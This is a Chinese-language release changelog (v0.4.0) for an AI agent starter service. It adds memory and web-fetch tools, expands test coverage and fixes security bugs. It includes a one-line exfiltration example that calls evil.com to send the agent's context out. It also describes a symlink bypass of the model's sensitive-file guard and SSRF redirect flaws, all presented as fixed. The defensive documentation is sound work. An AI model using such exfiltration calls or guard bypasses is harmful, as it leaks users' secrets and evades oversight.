Repository navigation
v0.4.0
Added
-
跨会话记忆(默认开,
PI_MEMORY=off关):新增src/memory/store.ts与remember/recall两个工具,补齐docs/智能体视角评估.md里被点名的「最后两块砖」之一——此前每次新对话都从零开始,「记住我」不可能。落盘成 JSONL(默认~/.pi/agent/pi-starter-memory.jsonl,原子写:先写同目录临时文件再 rename,与settings.ts同一口径),重启后仍在。- 有界:单条正文 4KB、标签 16 个 × 48 字符、总量 2000 条(超出淘汰最旧的并如实回报条数)、文件 4MB 封顶。无界记忆等于把上下文窗口交给时间。
- 写的是「跨会话有用」的信息:同一段正文重复写入是覆盖而不是新增(模型重复「记住」是常态);
rules.md明确写了该记什么、不该记什么。与知识库刻意分开——知识库只读、进系统提示词目录;记忆可写、不进提示词正文、按需recall。 - 可注入 / 可关:
buildAgent({ memory })换实现、buildAgent({ memory: false })关闭(两个工具都不注册,能力目录里也不会出现);PI_MEMORY只有明确off/false/0才算关(与PI_WEB的取值风格一致)。GET/POST/DELETE /memory把同一份 store 暴露成 REST,与工具同源。 - 落盘损坏行 / 读失败只告警回落,不让一次对话崩掉——与
settings.ts「配置坏了要能改回来」同一原则。
-
联网能力(可选,默认关):新增
src/tools/web.ts的web_fetch/web_search,由PI_WEB=on(或buildAgent({ web: true, webClient }))开启。补齐了「rules.md要求一切外部事实必须工具核实,但默认装配里根本没有联网工具」这个能力缺口。默认关闭的理由与coding档一致且更直接:出站网络是数据外泄通道(web_fetch("https://evil.com/?d=<上下文内容>")),而本服务默认无鉴权。- 后端可注入:
WebClient接口(fetchPage+ 可选search),换搜索源 / 加缓存 / 加审计只改实现,工具契约与模型侧不变;lib.ts已导出类型。 - SSRF 防护:只放行 http/https,拒绝回环 / 私有 / 链路本地 / 组播 / CGNAT / IPv4 映射地址,并检查 DNS 解析结果与重定向后的最终地址(
::ffff:127.0.0.1会被new URL()归一化成::ffff:7f00:1,十六进制写法同样覆盖)。isPrivateAddress认不出的输入按私有处理(fail-closed)。 - 限额:字节上限(默认 256KB,硬顶 2MB)与超时(默认 15s,硬顶 60s)都夹取,模型无法用参数顶掉;超限是边读边停,不把整页拉进内存。
- 不假装能搜:后端没有
search()时不注册web_search(与rag:smoke打印 SKIP 同一原则);默认的 DuckDuckGo 无 JS 版解析是 best-effort,抽不到就如实说「没有命中」。 - 能力标签
net→inferRisk判medium;与exec同口径不进allTools,开了才登记进ToolRegistry。SECURITY.md/.env.example/ 两份 README 都已注明「未被缓解的部分」(URL 由模型决定,DNS 解析与建连之间存在 TOCTOU 窗口)。
- 后端可注入:
-
setup.ts与资源路由的测试(49 个测试文件 / 467 用例,覆盖率 92.53% → 92.66%):setup.test.ts扩充 6 例(setup.ts82% → 86.65%):ensureEnvFile的三条路径(无.env时复制并 0600、已有.env不覆盖、两者都缺则明确报错)、多 provider 时没找到密钥的只进authKeyMissing且不落盘而默认 provider 缺密钥才致命、PI_API_KEY_<PROVIDER>优先且名字里的-换算成_、auth.json0600 / agent 目录 0700 的权限。其中复制.env那条测试用withEnvSnapshot包住(setupPiAgentDir会loadEnvFile()写process.env,不还原会污染同进程其它用例)。app.test.ts扩充 5 例(http/routes.ts88% → 89.3%):/skills列表不带正文而详情读磁盘正文、SKILL.md读不出来时响应里不能出现绝对路径、/knowledge列表/搜索/详情的路由顺序(/knowledge/search不能被:name抢走)、/prompt-templates的argumentHint只在有值时才出现、以及依赖全挂时 liveness 仍 200 而 readiness 变 503 并逐项给原因。
-
进程执行的工具层测试(
src/tools/exec.test.ts,13 例,exec.ts79% → 100%):src/exec/runner.ts有测试,但工具层完全没有 —— 也就是「参数怎么翻译成 runner 调用」与「结果怎么呈现给模型」这两段从未被执行过,而它们恰好是模型直接看到的部分。覆盖:只有 coding 档且给了环境才装配(off/readonly/ 缺环境一律空)、exec_jobs的能力必须是手写的shell.observe(按名字推断会推错)、非零退出与超时必须标成isError、后台任务立即返回 id 并提示下一步用哪个工具、输出截断必须说出来、非法timeout_seconds在调用 runner 之前就被拦下(断言runs.length === 0)、AbortSignal原样透传、超长命令在列表里截断而不是撑爆一行。 -
联网抓取的真实路径测试(
web.test.ts11 → 23 例,web.ts77% → 92.95%):此前只测了假后端,fetchPage里的字节上限、重定向、超时、content-type 判定全都没被真实执行过。现在起本地 HTTP 服务跑真实抓取,覆盖:HTML 转纯文本 / JSON 不被拍平、正文恰好等于上限时truncated=false、超限截断、404 与image/png翻成可读WebError、正常跟随重定向且每一跳都过策略、302 到被禁主机时请求不发出、超过MAX_REDIRECTS即停、超时翻成timeout、注入放行策略后非 http/https 仍被拒、重定向目标是非法 URL 时报错而不是崩在new URL。 -
WS 分派层的畸形输入测试(
integration.test.ts,ws.ts76% → 83.42%):这一层此前只有跨进程的npm run smoke覆盖(那些覆盖率不进npm test统计),而它最容易「一个坏输入打死整条连接」。覆盖:prompt带data:前缀 / 非白名单 MIME / 超过 4 张图片、set_label·edit_message·rollback_conversation缺entryId、rename_conversation缺title、打开或删除不存在的会话、非法思考档位、未知命令名(走「未注册命令」分支并带提示,而不是静默丢弃)、空串与纯空白type在协议层被拒 —— 以及一连串畸形输入之后ping仍必须得到pong。 -
五个「未覆盖即未验证」模块的测试(本轮第二批,49 个测试文件 / 456 用例,覆盖率 90.45% → 92.53%):
src/prompt-images.test.ts(6 例,44% → 100%):parsePromptImages是prompt/steer/follow_up三条 WS 命令共用的唯一入口校验,此前只被间接带到 —— 等于「模型收到一张损坏的图」这条路径从未验证过。覆盖 MIME 白名单(image/svg+xml拒收)、data:前缀、非法 base64、正则过得了但解码为 0 字节(单字符"a")与恰好等于上限的边界。src/extensions/audit.test.ts(6 例,56% → 100%):这个扩展的价值全在「记什么、不记什么」上。核心断言是日志里绝不能出现参数值(含sk-密钥与 SQL 原文),只记字段名;以及失败的调用走warn、logArgKeys=false时连字段名都不记、超出 256 条进行中调用时最早的被淘汰。src/tools/ask-user-question.test.ts(5 例,56% → 100%):HITL 工具出错不是「答得不对」而是「整轮卡死」或「悄悄跳过」。覆盖无 UI 时绝不假装等待且不调用任何 ui 方法、AbortSignal必须透传(否则桥那头无法取消)、confirm选「否」与取消一样算未作答。src/tools/resource.test.ts扩充(7 例,knowledge.ts71% → 100%、database.ts73% → 98.7%):search_knowledge的 limit 夹取[1, 50](100000/0/ 负数 /NaN/ 非数字字符串 / 缺省六种输入)、未知文档名要列出可用项、db_query的非只读 SQL 必须在落到database.query之前被拒(断言called === 0)、查询抛错翻成「查询失败:…」、被截断时必须显式告知真实总行数并给出可执行下一步。src/http/approval-routes.test.ts扩充(4 例,71% → 100%):GET的 builtin 标记与userCount、PUT整体替换的四条拒绝路径(非数组 / 超MAX_USER_RULES/ 含内置 / 单条非法)且被拒时不落地、达到上限后「新增」被拒但同 id 覆盖仍可用、手改rules.json塞builtin: true也删不掉。src/tools/current-time.test.ts(4 例,70.59% → 100%):见上一条Fixed。
-
文件服务路由层测试(
src/http/file-routes.test.ts,9 例):file-routes.ts此前覆盖率 43.24%(全项目最低之一)而没有任何测试,可它正是把工作目录暴露成 HTTP 的那一层。覆盖:未提供FileService时/files/*完全不注册、requirePath的 fail-closed(缺/空白 path = 400,不悄悄退回根目录)、敏感文件在 read / raw / 列表预览 三个出口都被拦且不回显内容、recursive必须是布尔true(字符串"true"不算数)、Range 语义(206 /bytes=-N后缀区间 / 416 +Content-Range: bytes */size/ 无 Range 超限 413 /download=true/ 二进制扩展名给 octet-stream)、上传的字节级往返(历史 bug 是write+toString("utf8")损坏非 UTF-8 字节)。
覆盖率 43.24% → 100%,全项目 89.80% → 90.45%(棘轮阈值随之抬到 lines 90 / branches 79 / functions 83)。
同时把「上传上限是两层叠加」这件事写进了代码注释与测试:/files/upload的 5MB 是第二层,默认 JSON body 上限1mb会先挡一道(base64 还放大 4/3),所以默认配置下原始字节刚过 1MB 就被 413,那个 5MB 检查不可达;只有把bodyLimit提到约 7mb 以上它才生效。 -
参考手册(从源码生成):新增
docs/参考手册.md+scripts/visualization/generate_reference.mjs,把「能力面」整个算出来:34 条 WS 客户端命令与 21 个服务端帧(按分组 + JSDoc 摘要)、60+ REST 路由处理器、工具清单(装配档位 + 能力标签 + 风险)、全部 58 个环境变量、全部 npm 脚本、模块地图。此前 WS 协议有 57 个消息类型却没有任何参考文档,REST 有 60+ 路由而 README 只列了 4 个,22 个环境变量在两份 README 里一个字都没有。
生成过程自带一致性断言(不通过即非零退出):解析出的客户端命令集合必须与protocol.ts里带编译期守卫的CLIENT_MESSAGE_TYPES完全一致(拿编译期保证校验解析器本身);src/tools/*里的每个工具名必须在生成器的分组表里被登记,新增工具忘了归类会直接让门禁红;代码引用的PI_*必须都在.env.example登记过。npm run docs:check已进verify与两套 CI。
刻意没做:给协议命令强制要求 JSDoc。当前说明覆盖率是客户端 4/34、服务端 7/21,手册如实印出覆盖率,但不设成门禁——逼出来的空说明比没有说明更糟。 -
README 的可验证数字改为生成:新增
scripts/visualization/generate_readme_numbers.mjs,把文件数 / 行数 / 用例数 / 路由数从源码算出来写进<!-- BEGIN:generated-numbers -->标记块,npm run docs:numbers:check已进verify链与两套 CI。此前同一份 README 里42 test files · 376 cases与# 376 unit + integration tests对着不同的数字。
Security
guard的敏感文件拦截只查字面名,可被工作区内的符号链接绕过:isDeniedName(basename(targetPath))只看字面 basename,而 cwd 内一个alias.txt -> .env的链接——字面名不命中名单、路径也确实在 cwd 内——上面两道校验都会放行,读出来的内容就是.env。文件服务那边(files/service.ts的resolvePath)在 0.3.0 就补了「真实目标名也要查」这一层,guard这个负责拦模型自身read/write/edit的旁路此前漏了,等于同一道门只关了一半(而read在任何档位都可用)。现补上同样的真实目标名校验(只在目标存在时解析,避免把父目录名误当成目标名),并加回归用例:绝对/相对目标的链接、指向id_rsa的链接、sub/../alias.txt形式全部拦下,指向普通文件的链接不误伤。SECURITY.md同步说明「两道门都查真实目标名」。- Linux / macOS 的
exec主执行路径不再继承PI_API_KEY(P1-2 漏网之鱼):src/exec/runner.ts的/bin/sh分支此前直接传process.env,而src/child-env.ts的模块说明声称「凡是 spawn 子进程的地方都从这里取 env」——它恰好是唯一没兑现的地方,也是主平台。现改为childProcessEnv(),并修正同文件taskkill分支里那句「凡 spawn 口径一致」的注释。新增src/exec/runner.test.ts用例锁定:子进程读不到PI_API_KEY/PI_API_KEY_<PROVIDER>,但PATH等必须保留(否则 shell 与外部工具跑不起来)。
Fixed
npm run setup复制出来的.env是 0644(世界可读),而它正是要填 API Key 的文件:ensureEnvFile用copyFileSync(.env.example, .env),而copyFileSync会把源文件的权限位一并带过来(实测:源 644 → 副本 644)。本项目对auth.json(0600)、向量库(0600)、provider-keys(0600)都坚持最小权限,.env不该例外。现在复制后显式chmod 0600(Windows 上尽力而为,与writeJsonFile同一口径),并加回归用例断言权限位。- 联网抓取的重定向会在校验之前就把请求打到下一跳(
web_fetch的 SSRF 面):原实现用fetch(..., { redirect: "follow" }),等响应回来才检查response.url—— 也就是302到10.0.0.1时请求已经发出去了,事后检查只能阻止「把内容读回来」,挡不住「内网端点被触发」(对带副作用的 GET 就是真实影响)。现在改为redirect: "manual"自己跟,每一跳都在发请求之前过一遍 host 策略,共用一个超时,并用MAX_REDIRECTS = 5封顶。新增回归用例:公网点302到被禁主机时,被禁主机收到 0 个请求。 readCapped的差一错误:正文恰好等于上限时误报「已截断」:判断写的是total + value.length >= maxBytes,于是长度正好等于上限的正文被标成truncated: true—— 一个字都没丢,工具却对模型说「正文已按上限截断」。改成>,并加回归用例。urlGuard可注入:HttpWebClient新增urlGuard?: UrlGuard(默认assertPublicHost),内网部署 / 走自有出口代理时可替换。协议校验(只允许 http/https)刻意不经过它,所以换 host 策略也换不掉这一条 —— 有对应用例锁定。current_time在模型写UTC+8/GMT+8时直接抛RangeError:toLocaleString只认 IANA 时区名,而这两种恰好是模型最可能写出来的写法(实测RangeError: Invalid time zone specified: UTC+8)。工具此前没有任何测试、execute从未被执行过,所以一直没暴露。现改为如实说明并给出可用写法(含「东八区应写Etc/GMT-8,符号是反的」这个最容易踩的点),details.ok=false以便调用方区分。/files/copy复制目录必然 500(FileService.copy):代码校验完recursive之后仍然无条件调copyFileSync,而它对目录直接抛EISDIR—— 于是「传recursive: true去复制目录」100% 失败成 500,且即使不抛也只会留下一个空壳。改用cpSync(..., { recursive: true }),并把复制失败翻译成AppError而不是裸抛。- 给目录改名会「先改盘、再报错」(
FileService.rename):renameSync成功之后无条件this.read(toRel),而read只读文件,于是目录重命名永远在磁盘已经变了之后返回 400 —— 客户端看到失败、实际已生效,比单纯失败更难查。现按目标类型返回目录描述。 Range: bytes=-N后缀区间永远返回 416(/files/raw):把后缀长度当成了结束下标,start(=size-N) > end(=N)恒成立。播放器从尾部 seek 全废。现按规范分开处理后缀区间与普通区间(bytes=-0仍判 416,符合 RFC)。FileService的maxPreviewBytes对/files/raw无效:路由读的是模块常量DEFAULT_MAX_PREVIEW_BYTES而不是 service 的配置,于是这个配置项只影响/files/read。现读service.maxPreviewBytes(字段改为公开只读)。
上面四条都是写
src/http/file-routes.test.ts时当场发现的 —— 路由层此前没有任何测试,而它正是把工作目录暴露成 HTTP 服务的那一层。
generate_readme_numbers.mjs的前端用例数写死了单个文件:它只数web/src/pi/client.test.ts,于是加了logClient.test.ts之后 README 里仍然报 11(实际 19)。现改为从package.json的test:web脚本读文件清单。这类「与文件一致地错」的漂移docs:numbers:check是抓不到的(它只能发现「文件里写的和算出来的不一致」),所以口径本身必须来自脚本,不能写成常量。- 快照周期内不再重复取会话统计(P2-1):
getSessionStats()在 SDK 里是sessionManager.getEntries()—— 每次调用都会fileEntries.filter(...)全量复制再全量扫描一遍会话条目,而快照每个周期都要读它。现改为按事件失效、周期内复用:只有流式增量(message_update/tool_execution_update)不作废缓存,其余事件一律作废(保守方向:宁多算一次,也不显示过期 token / cost)。src/integration.test.ts有用例锁定「流式期间不重复取数、message_end后必然重取」。 - 投影签名的构造少了两次分配(P2-2):
projectMessage的签名从「数组 +join("|")」改为模板串 —— 同一个结果,但不再为每条消息先造 n 个中间字符串(这个签名每个快照周期都要为每条消息重建一次)。同时把estimateTokensCached的注释改正:它是 O(消息条数) 次 WeakMap 查询,不是注释原先声称的 O(新增消息数)。 docs/项目分析报告.md会主动误导读者(文档一致性):它写于 0.3.0 之前,把一批已经修好的问题仍列为现状(/files/read?path=.env、PI_API_KEY继承、db.query()全量载入、子代理队列无上限…),并且在同一份文档里给出两组互相矛盾的验证数字(§0 记smoke 23/23、e2e 39/0跳,§8 表记smoke 17/17、e2e 35+1跳过),§1.2的文件数也自相矛盾。现改为归档页:明确标注「历史快照,不再是现状描述」,逐条给出「当时判断 → 现在状态 + 依据」的对照表,并指向智能体视角评估.md/ README 的 Numbers / CHANGELOG 三个现状来源。正文通过 git 历史保留。docs/能力与边界.md的三处过期:基线e24c4c7→v0.3.0及其后工作区(且不再手写规模数字,改为指向生成的 Numbers 表);「HITL 前端未接」→ 前端已接(web/src/components/HitlDialog.tsx);「docs/下只有三份活文档」→ 与实际目录一致,并区分手写与生成物。scripts/release.mjs的推送失败信息补上撤销步骤:原先只给「补推」命令,而走到那一步本地已经被改动过(版本回写提交 + 本地 tag)。现在按本次是否真的产生了回写提交,给出git tag -d与git reset --hard HEAD~1的完整还原步骤,并提醒已推送成功的远程要各自单独回退(脚本不会替你动已推送的引用)。- 前端依赖审计曾恒红,且本地完全看不见(
npm run verify与远端口径不一致):web/的依赖链里有一条高危通告braces的GHSA-vfj7-8cjw-p6xm(深度嵌套模式导致栈耗尽),链路是shadcn -> fast-glob -> micromatch -> braces。它没有可用修复——braces最新版本就是受影响的 3.0.3(实测npm view braces version= 3.0.3),上界micromatch@4.0.8/fast-glob@3.3.3也均已是最新,npm audit fix --force只会把shadcn降到 1.0.0(breaking change)且换不来修复(隔离复现过:加链式 override 后braces仍是 3.0.3,提示从「建议降级」变成「No fix available」)。而.cnb.yml的审计只在远端跑、npm run verify里没有审计步骤,于是「本地绿」从来不等于「远端绿」。现做三件事:(1) 新增web/scripts/check-audit.mjs+web/scripts/audit-baseline.json,把这条已复核、无修复的开发依赖通告登记在案(打印但不阻断),只对新增通告或影响范围变化判失败;(2) 新增scripts/verify-audit.mjs并接进npm run verify——它跑与远端同一条命令(根包审计 +web/的 check:audit),缺web/node_modules时明确 SKIP 并说明原因,不假装通过;(3) 三套门禁(.cnb.yml的 verify 链与 frontend 作业、GitHub CI 的 frontend 作业)口径统一。 shadcn被错放进运行时依赖:它既不是运行时依赖、也不是纯开发依赖——构建期要用它的shadcn/tailwind.css(src/index.css第 3 行@import,data-open/data-closed等自定义变体只在这里定义),开发期又用它当 CLI(check:official)。但产物已内联进web/dist,所以准确的归类是构建期依赖,已从dependencies移到devDependencies;.cnb.yml的 frontend 作业与 Dockerfile 的 web-builder 阶段都是全量npm ci --prefix web,不受影响(实测移动后前端产物 CSS 哈希不变、shadcn/tailwind.css仍可解析)。生产依赖因此为 0 高危。publish:local的 CNB Release 后端在 Windows 上必然炸,而预检却报"可用":cnbReady()用execSync("cnb --version")(经 shell,起得来),真正干活的cnbRun/cnbQuery却是execFileSync("cnb", …)——Windows 上 npm 全局装的是cnb.cmd,直接 spawn 报ENOENT,点名cnb.cmd又被 Node 的.bat/.cmd防护挡成EINVAL,只有经 cmd.exe 起得来,而shell: true下 Node 只拼接不转义参数(DEP0190),这里要传的正是 slug、tag 和--body-file的路径。于是「预检通过 → 写 Release 时崩」。现在按scripts/npm-invocation.mjs对 npm 的同一思路处理:从.cmdshim 里取出真正的 JS 入口,用node <entry> …数组直传、不经 shell;取不到入口就按无法执行退出 2,不退化成"Release 不存在"(cnbQuery原先把 spawn 失败一起catch成空串,dry-run 预览因此会说"将新建",而真实原因只是这台机器调不动 CLI)。实测:execFileSync("cnb")ENOENT、execFileSync("cnb.cmd")EINVAL、node …/@cnbcool/cnb-cli/bin/cnb.js --version返回 1.17.3;publish:local --dry-run(临时把host设成cnb)现在能真的查到v0.3.0的既有 Release 并预览为「将会更新」,把 PATH 里的 cnb 去掉则打印「无法执行 cnb CLI」并退出 2。pipeline.config.json的远程假设与仓库实际不符(发版路径):remotes只写了["origin"],而同一份注释声称「本仓只配了一个远程(origin = CNB)」——实际拓扑是origin= GitHub(README 的 Release 徽章、Issue 模板、.github/workflows/publish.yml都挂它,remote字段也显式写着origin),cnb= CNB,而门禁只在 CNB 上跑。按原配置发版,分支与 tag 只进 GitHub,CNB 收不到 release 提交——那次发版在唯一会跑 verify / coverage / e2e / audit 的远程上没有任何回归保护。另一处相反:publish:local新加的「按主远程宿主自动选 Release 后端」会选到gh,注释却写「本仓主远程是 CNB,所以走 cnb」。现在remotes补齐为["origin","cnb"](主远程在前先推,镜像缺推只报警不阻断),两处注释改为按实际拓扑描述,并写明要换主远程就同时改remote与顺序。gh与cnb两个 CLI 本机都实测存在。- 基线烂掉时闸门不报(
web/scripts/check-audit.mjs):登记进audit-baseline.json的通告一旦不再出现(依赖升级或移除),原实现只打印一句提示就继续放行——闸门自称"按基线放过 1 条",实际那条什么都不挡,且没人会被一句console.log拦住。现在判失败(退出 1),要求把条目删掉或--write-baseline重生成。这条语义来自被弃用的分支auto/web-audit-gate-2e54(它的audit-gate.mjs本来就是这个设计,合并时选的是另一条实现路线,把这个差异丢了)。判定要复跑确认:实测遇到过一次npm audit返回不含通告的报告,与"上游真的修好了"完全同形,单次消失即定罪就是假阳性;复跑拿不到结果时按「审计结果不可信」退 2,既不判消失也不放行。验证:正向EXIT=0(GHSA-VFJ7-8CJW-P6XM仍在);负向往 baseline 塞一条假 GHSA → 复跑仍不在 →EXIT=1并列明该条。 - 测试往
%TEMP%里漏目录,实测 8529 个 / 5.0 GB:mkdtempSync(join(tmpdir(), "pi-…"))全项目 111 处,其中 21 个测试文件一个删除动作都没有——会话 JSONL、SQLite 库、日志分片都是有体积的东西,而且每跑一轮全量测试就再长一层。「测试通过」从来不等于「资源释放了」。新增src/test-tmp.ts(tempDir(prefix)+ 进程退出统一回收,删除失败打印出来而不静默,Windows 上多半是 SQLite 句柄未关,那正是被测代码的问题),111 处调用全部换成tempDir。验证:连跑三轮全量测试,/tmp/pi-*数量 8529 → 8529 → 8529 → 8529(新增 0),504 用例 0 失败。scripts/verify-embed.mjs的embed-kb-*同样漏(攒下 6 个),改成try/finally回收。- 顺带把两条注释变成事实:
src/test-server.ts的头注释写着「仅测试引用,不进 dist」,而dist/test-server.js一直在构建产物里、并随files: ["dist", …]发进 npm 包。tsconfig.build.json现在排除src/test-server.ts与src/test-tmp.ts,npm run build后dist里两个都不存在(实测计数 0)。
- 顺带把两条注释变成事实:
integration.test.ts的到达等待用的是固定 sleep(settle(150)×29 处),这正是能力与边界.md§0 禁止的写法:十几个测试文件各开各的 HTTP/WS 服务时,一帧的到达时间能超过任何固定值,于是errorsSince(from)[0]?.message ?? ""取到空串、断言报actual: '',重跑又绿——本轮第一次就是在并跑两个全量测试时撞上 4 例这种失败。 新增waitError / waitErrors / waitFrame / waitState(都建在test-server.ts的waitFor上),把**全部 17 处到达等待**改成等结果;只剩 2 处settle,都是**负向命题**(「服务端处理完这次 close 之后仍然没有多余帧」),各自带注释说明为什么没有帧可等。顺带删掉一个只为喂 lint 而存在的const before … void before。 验证:并跑两个全量测试,两边都504 用例 / 498 通过 / 0 失败(同场景改动前各崩 4 例);单跑integration.test.ts` 从 9.2s 降到 2.8s——条件等待既更稳也更快,固定 sleep 只是用延迟换虚假的安全感。- 中途走过一条弯路,记在这里免得重演:先把
settle改成「等帧流安静」,结果solo 全量跑反而挂了——安静窗口区分不了「没有更多帧」和「帧还没到」,帧晚到时就当成安静直接返回,比原来的固定 sleep 更早放行。判据必须是「等结果」,不是「等安静」。
- 中途走过一条弯路,记在这里免得重演:先把
npm run verify在 Windows 上不可能通过(五处),而远端门禁全在 Linux 容器里:.cnb.yml与ci.yml都用node:24,本机是 Windows,于是这批红灯从来没被任何门禁看见过——包括那条自称「让本地与远端口径一致」的verify:audit。逐条:- 生成器把
path.relative的分隔符原样写进产物(generate_readme_numbers.mjs/generate_reference.mjs)。Windows 上得到src\conversation\conversation.ts,于是docs:numbers:check报漂移(数字全对,只差分隔符);docs:reference:check的后果更隐蔽:toolsByFile的键变成反斜杠路径,而TOOL_TIERS里手写的是"tools/web.ts",get()全部 miss →accountedTools空 → 13 个工具全被报成「没有登记」,真漏登记的那条会被淹在假信号里。两处统一过toPosix()。负向验证:把tools/web.ts从TOOL_TIERS摘掉,断言立刻只报web_fetch, web_search——它确实在挡。 setup的权限断言在 Windows 上必红:Windows 的chmod只能置只读位,0600与0644在stat.mode上不可区分(实测恒为0o666)。拆成功能面(复制发生了、内容被真读进auth.json,全平台跑)与权限面(POSIX 专属,t.skip打印原因),沿用knowledge/vector-store-sqlite.test.ts的先例而不是裸return。guard/files的符号链接用例两处不一致:一处symlinkSync没有兜底,本机无特权时直接EPERM硬失败;另一处是catch { return; },让一个从未执行过断言的用例显示成通过——正是能力与边界.md§0 明令禁止的写法。两处都改成t.skip(原因),跳过被打印、被统计。- 依赖审计在 Windows 上恒红(
scripts/verify-audit.mjs):execFileSync("npm", …)里的npm是npm.cmd,Node 不经 shell 无法 spawn.cmd(实测ENOENT),而裸catch {}把它报成「审计失败」——审计根本没跑,却被当成跑出来有问题。 - 同一次坏掉的 spawn 在前端闸门上反向假绿(
web/scripts/check-audit.mjs):--tolerate-network把ENOENT归进「网络或 registry 故障」→ 退出 0,一边什么都不检查一边自称"跳过"。
修法是把结论分成三种——通过 / 有通告 / 无法执行——并在真正审计前先探一次npm --version(新增scripts/npm-invocation.mjs:优先用 node 同侧的npm-cli.js,不经 shell;Windows 才用 shell 兜底)。只加shell: true是半个修法:cmd.exe 会用退出码 1 报「不是内部或外部命令」,与一次正常的审计失败长得一模一样,所以探测必须在调用之前。负向验证(把候选路径全部改坏):verify:audit与check:audit:ci现在都退 2 并写明「闸门跑不起来」,不再退 0,也不再误报成漏洞。修好后 Windows 上真跑通审计:生产依赖 0 高危,开发依赖 1 条已登记通告(braces)在基线内。
- 生成器把
- 并发开对话仍然能突破
maxOpenConversations(0.3.0 那次修法只把溢出从cap+并发度压到cap+1):addConversation()在「收容量」与「入册」之间必然要await会话工厂,而 WS 的dispatch是并行的(void this.dispatch(msg))。0.3.0 的做法是「分配完成后再补收一次」,可那次补收跑在convs.set()之前——刚分配出来的会话还不在convs里,evictForCapacity()遍历不到它,自然收不掉。实测cap=4/ 并发 12 时存活 session 峰值恒为 5,cap=8时是 9:超出量有界,但「上限」在那个瞬间就是假的,而每个AgentSession都带一套完整的 loader、工具表与事件订阅。现在改成在await之前按「已入册 + 在途」占住名额(acquireSlot()),取不到就排队等、被唤醒后用while重新判定(名额可能被更早唤醒的那个抢走)。名额刻意不直接派发给队首:派发要求「领走就一定发生」,而领走后分配失败还要归还,一旦归还时队首已不再需要名额,就会把名额丢掉、让后面的人永久挂住——改成「归还即广播 + 每个等待者自己重试」,从结构上不存在丢失名额的路径。名额占持到入册完成或本次失败为止:handedOff = true现在打在getState()之后,那次抛错原先会漏掉 dispose。测试见src/client-session.test.ts与src/sessions/cap.test.ts。(这条改动原本只落在一个 message 为2的合并提交里,历史不便重写,故在此补齐记录。) - 4xx 的校验错误也往日志里写完整堆栈(
src/errors.ts的toLogFields无条件带stack):http request rejected那一行记的是「调用方写错了什么」,栈顶永远是校验器自己那一帧,没有一个字对排障有用,却能按请求规模放大——客户端对着/logs?from=<非法值>打一万次,日志就被同一条无用栈灌满;而这套日志刚做完「无损字节偏移分页 + 按 request_id 回溯」,可读性正是它的目的。证据就留在仓库里:一份被遗留的测试 stderr 中,两条通过的用例各吐了一整份AppError堆栈。现在只有httpStatus >= 500,或原文刻意不出服务端(safeToExpose === false,那基本就是内部故障)才带栈与 cause 链;code / httpStatus / message / details / request_id一律保留——省的是栈,不是原因。级别也不变(4xx 仍warn,5xx 仍error)。新增两条断言把边界钉死(正向:4xx 无栈;反向:藏了原文的 4xx 仍带栈),与既有的 5xx 全栈用例合起来三个方向都有覆盖。负向验证:把判据改回「永远带栈」,新用例立刻 2 例变红。
Changed
- SDK 私有形状访问彻底收敛:
session.navigateTree从session-hub.ts就地断言改为sdk-adapter.ts的sdkNavigateTree()—— 此前该文件自己的注释写着「私有访问统一收在 sdk-adapter」,而navigateTree是那个唯一没兑现的例外。 - 覆盖率门禁(棘轮):新增
scripts/coverage.mjs,用 Node 内置--experimental-test-coverage(零依赖,与测试同一次运行,不引入 c8/nyc),只看src/**,阈值lines>=92 / branches>=81 / functions>=85(棘轮,只允许往上调;当前实测 all files 92.94 / 81.20 / 85.77)。低版本 Node 上明确降级为普通测试并打印原因 —— 工具不支持不该被当成覆盖率不达标。已接入.github/workflows/ci.yml与.cnb.yml。 - 前端依赖审计改为基线化门禁:
web/有自己的 lockfile,原先只审计根包等于前端依赖完全没人管。但裸npm --prefix web audit --audit-level=high会因一条无可用修复的高危通告恒红(见 Fixed 段的GHSA-vfj7-8cjw-p6xm条目),而恒红的闸门等于没有闸门。现改为npm --prefix web run check:audit:ci:生产依赖(--omit=dev)必须 0 高危(硬门),开发依赖里的已知通告登记在web/scripts/audit-baseline.json、只对新增或影响范围变化报错。两套 CI(.cnb.yml、.github/workflows/ci.yml)都已切换。 - 前端测试面扩大:新增
web/src/pi/logClient.test.ts(8 例,无头、fetch打桩),覆盖筛选 → query 映射、非 2xx 的错误文案、AbortSignal 透传,以及queryAllForExport的分页边界(含「结果恰好等于上限且已无下一页时不得谎报截断」这条回归)。前端用例数 11 → 19。 rules.md新增第 10 条(联网):有web_fetch时用它核实外部事实并给出实际 URL;没有联网工具就直说无法核实,不拿记忆里的版本号当真。